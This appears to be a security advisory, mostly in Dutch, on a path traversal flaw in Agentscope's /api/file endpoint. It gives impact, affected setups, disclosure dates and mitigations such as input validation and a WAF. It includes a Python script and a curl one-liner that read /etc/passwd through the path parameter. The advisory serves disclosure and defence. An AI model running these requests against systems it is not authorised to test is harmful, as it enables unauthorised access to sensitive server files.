AgentScope Padtraversering in /api/file

Een succesvolle exploitatie van deze Path Traversal kwetsbaarheid kan leiden tot ongeautoriseerde toegang tot gevoelige bestanden op de server waarop Agentscope draait. Dit omvat potentieel configuratiebestanden, broncode, logbestanden en andere kritieke data. Afhankelijk van de bestanden die toegankelijk zijn, kan een aanvaller de server verder compromitteren, gevoelige informatie stelen of zelfs de controle over de server overnemen. De impact is vergelijkbaar met andere Path Traversal kwetsbaarheden waarbij de toegang tot het bestandssysteem wordt misbruikt.

Organizations deploying Agentscope in production environments, particularly those with sensitive data stored on the same server, are at risk. Environments with weak access controls or inadequate input validation practices are especially vulnerable. Shared hosting environments where Agentscope is installed alongside other applications could also be affected if the vulnerability is exploited to gain access to other tenants' data.

• python / agentscope:

import requests
import os

url = 'http://your-agentscope-server/api/file' # Replace with your server

try:
    # Attempt to read a sensitive file
    response = requests.get(url + '?path=/etc/passwd')
    if response.status_code == 200:
        print('Potential Path Traversal Detected!')
        print(response.text)
    else:
        print('No Path Traversal Detected.')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

• generic web:

curl 'http://your-agentscope-server/api/file?path=../../../../etc/passwd' -s | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. Gereserveerd2024-09-04
2. Gepubliceerd2025-03-20
3. EPSS bijgewerkt2026-04-02

De primaire mitigatie is het upgraden naar een beveiligde versie van Agentscope zodra deze beschikbaar is. Totdat de upgrade mogelijk is, kan een tijdelijke oplossing bestaan uit het implementeren van strenge inputvalidatie op de /api/file endpoint. Dit omvat het whitelisten van toegestane bestandsnamen en het verifiëren dat de path parameter niet begint of eindigt met .. of andere padtraversal-sequenties. Het configureren van een Web Application Firewall (WAF) om padtraversal-pogingen te blokkeren is een andere optie. Controleer ook de Agentscope configuratie op onnodige rechten.